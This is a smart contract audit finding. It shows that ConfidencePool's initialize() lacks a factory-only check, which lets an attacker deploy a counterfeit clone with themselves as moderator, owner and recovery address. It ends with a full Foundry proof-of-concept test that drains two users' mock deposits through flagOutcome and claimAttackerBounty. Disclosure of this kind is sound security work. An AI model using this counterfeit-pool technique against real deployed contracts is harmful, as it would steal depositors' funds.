ConfidencePool.initialize() allows protocol-shaped counterfeit pools that bypass factory-enforced trust parameters. Users or integrations that authenticate pools by implementation/interface/registry/agreement can deposit into a pool where the attacker controls resolution and recovery.
The factory's createPool() enforces five security-critical restrictions: allowlisted stake token, agreement owner authorization, DAO-controlled moderator, pool registration, and pinned registry, but initialize() is external with no check that msg.sender is the factory and replicates none of them. Anyone can deploy an EIP-1167 clone of the real ConfidencePool implementation and call initialize() directly with the real registry, a real valid agreement, real in-scope accounts, and a real allowlisted token, while setting themselves as outcomeModerator, owner, and recoveryAddress.
Description
The factory's createPool() enforces these restrictions before deploying and initializing a pool:
function createPool(...) external whenNotPaused returns (address pool) {
if (!allowedStakeToken[stakeToken]) revert StakeTokenNotAllowed();
if (!safeHarborRegistry.isAgreementValid(agreement)) revert InvalidAgreement();
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
pool = Clones.cloneDeterministic(poolImplementation, salt);
IConfidencePool(pool).initialize(
agreement,
stakeToken,
address(safeHarborRegistry),
defaultOutcomeModerator,
expiry,
minStake,
recoveryAddress,
msg.sender,
accounts
);
_poolsByAgreement[agreement].push(pool);
However, initialize() itself accepts all of these as caller-supplied parameters with no factory check:
function initialize(
address agreement_,
address stakeToken_,
address safeHarborRegistry_,
address outcomeModerator_,
uint256 expiry_,
uint256 minStake_,
address recoveryAddress_,
address owner_,
address[] calldata accounts
) external initializer {
if (agreement_ == address(0)) revert ZeroAddress();
if (stakeToken_ == address(0)) revert ZeroAddress();
if (safeHarborRegistry_ == address(0)) revert ZeroAddress();
if (outcomeModerator_ == address(0)) revert ZeroAddress();
if (owner_ == address(0)) revert ZeroAddress();
if (recoveryAddress_ == address(0)) revert InvalidRecoveryAddress();
if (expiry_ < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (expiry_ > type(uint32).max) revert ExpiryTooFar();
if (minStake_ == 0) revert InvalidAmount();
if (!IBattleChainSafeHarborRegistry(safeHarborRegistry_).isAgreementValid(agreement_)) {
revert InvalidAgreement();
}
The gap between factory restrictions and initialize() checks:
| Factory restriction |
Purpose |
initialize() check |
allowedStakeToken[stakeToken] |
Prevent fee-on-transfer/rebasing accounting bugs |
None |
IAgreement(agreement).owner() == msg.sender |
Only agreement owner creates pools |
None |
defaultOutcomeModerator hardcoded |
Ensure DAO-controlled resolution |
Caller chooses freely |
address(safeHarborRegistry) hardcoded |
Ensure trusted state oracle |
Caller chooses freely |
_poolsByAgreement[agreement].push(pool) |
Canonical pool registry |
Not registered |
The initializer Modifier only prevents re-initialization of the same proxy. It does not restrict who can initialize a freshly deployed clone.
The factory also provides no isOfficialPool(address) mapping. The only verification path is getPoolsByAgreement(address) which returns an array requiring O(n) iteration; no constant-time on-chain check exists.
This behavior is not documented as intentional anywhere in docs/DESIGN.md. The README states the moderator is "set by the factory at clone time and immutable per-pool," and the sponsor "creates a pool via the factory", both imply factory-exclusive creation.
Risk and Impact Details
The attack works by creating a counterfeit pool that can appear protocol-shaped because it uses the real implementation bytecode, real registry, real agreement, real scope accounts, and a real allowlisted token, while only the trust-critical authority fields differ; outcomeModerator, owner, and recoveryAddress are all set to the attacker.
Since the protocol intentionally supports multiple pools per agreement, users and integrations cannot treat agreement identity as proof of pool legitimacy. A direct-initialized clone can point to the same real agreement and registry as an official pool while replacing only the authority fields (outcomeModerator, owner, and recoveryAddress).
If users deposit into this counterfeit pool, and the agreement reaches CORRUPTED on the real registry:
-
The attacker calls flagOutcome(CORRUPTED, true, attackerAddress) as the moderator. Every check passes: onlyModerator (attacker IS the moderator), registry returns CORRUPTED ( real registry, real breach). The contract sets bountyEntitlement = snapshotTotalStaked + snapshotTotalBonus,the entire pool.
-
The attacker calls claimAttackerBounty(). Every check passes: msg.sender == attacker (line 436 — attacker named themselves). stakeToken.safeTransfer(attacker, payout) (line 449) sends all user funds to the attacker.
Recommended Mitigation Steps
Add an isOfficialPool(address) → bool mapping to the factory for O(1) on-chain verification by downstream integrations:
+ mapping(address => bool) public isOfficialPool;
function createPool(...) external whenNotPaused returns (address pool) {
// ... existing checks and clone deployment ...
_poolsByAgreement[agreement].push(pool);
+ isOfficialPool[pool] = true;
}
This allows any user or integration to verify pool legitimacy in constant time without iterating getPoolsByAgreement().
Alternatively, store the factory address as an immutable in the implementation constructor and restrict initialize() to factory-only calls. Note: this requires the factory address to be known before deploying the implementation, which may introduce a deployment-order dependency depending on the deployment flow.
PoC
The PoC deploys a counterfeit clone directly (bypassing the factory), initializes it with the attacker as moderator/owner/recovery using the same real registry and agreement, has users deposit, transitions the agreement to CORRUPTED, and shows the attacker claiming all user deposits via claimAttackerBounty.
Create a file at test/audit/PoC_FactoryBypass.t.sol and paste the code below, then run with:
forge test --match-test test_attackerBypassesFactoryViaDirectInitialize -vvv
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
contract PoC_FactoryBypass is Test {
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);
function test_attackerBypassesFactoryViaDirectInitialize() external {
vm.warp(BASE_TIMESTAMP);
MockERC20 token = new MockERC20();
MockAttackRegistry attackRegistry = new MockAttackRegistry();
MockSafeHarborRegistry registry = new MockSafeHarborRegistry();
MockAgreement agreement = new MockAgreement(makeAddr("realAgreementOwner"));
registry.setAttackRegistry(address(attackRegistry));
registry.setAgreementValid(address(agreement), true);
agreement.setContractInScope(SCOPE_ACCOUNT, true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool implementation = new ConfidencePool();
address maliciousActor = makeAddr("maliciousActor");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
ConfidencePool roguePool = ConfidencePool(Clones.clone(address(implementation)));
address[] memory scope = new address[](1);
scope[0] = SCOPE_ACCOUNT;
vm.prank(maliciousActor);
roguePool.initialize(
address(agreement),
address(token),
address(registry),
maliciousActor,
block.timestamp + 31 days,
1e18,
maliciousActor,
maliciousActor,
scope
);
assertEq(roguePool.outcomeModerator(), maliciousActor);
assertEq(roguePool.owner(), maliciousActor);
assertEq(roguePool.recoveryAddress(), maliciousActor);
token.mint(alice, 100 ether);
vm.startPrank(alice);
token.approve(address(roguePool), 100 ether);
roguePool.stake(100 ether);
vm.stopPrank();
token.mint(bob, 50 ether);
vm.startPrank(bob);
token.approve(address(roguePool), 50 ether);
roguePool.stake(50 ether);
vm.stopPrank();
uint256 totalStaked = roguePool.totalEligibleStake();
assertEq(totalStaked, 150 ether);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
roguePool.pokeRiskWindow();
vm.prank(alice);
vm.expectRevert();
roguePool.withdraw();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
roguePool.pokeRiskWindow();
vm.prank(maliciousActor);
roguePool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, maliciousActor);
assertEq(roguePool.bountyEntitlement(), totalStaked);
assertEq(roguePool.attacker(), maliciousActor);
uint256 attackerBalBefore = token.balanceOf(maliciousActor);
vm.prank(maliciousActor);
roguePool.claimAttackerBounty();
uint256 attackerBalAfter = token.balanceOf(maliciousActor);
assertEq(attackerBalAfter - attackerBalBefore, totalStaked);
assertEq(token.balanceOf(address(roguePool)), 0);
assertEq(token.balanceOf(alice), 0);
assertEq(token.balanceOf(bob), 0);
}
}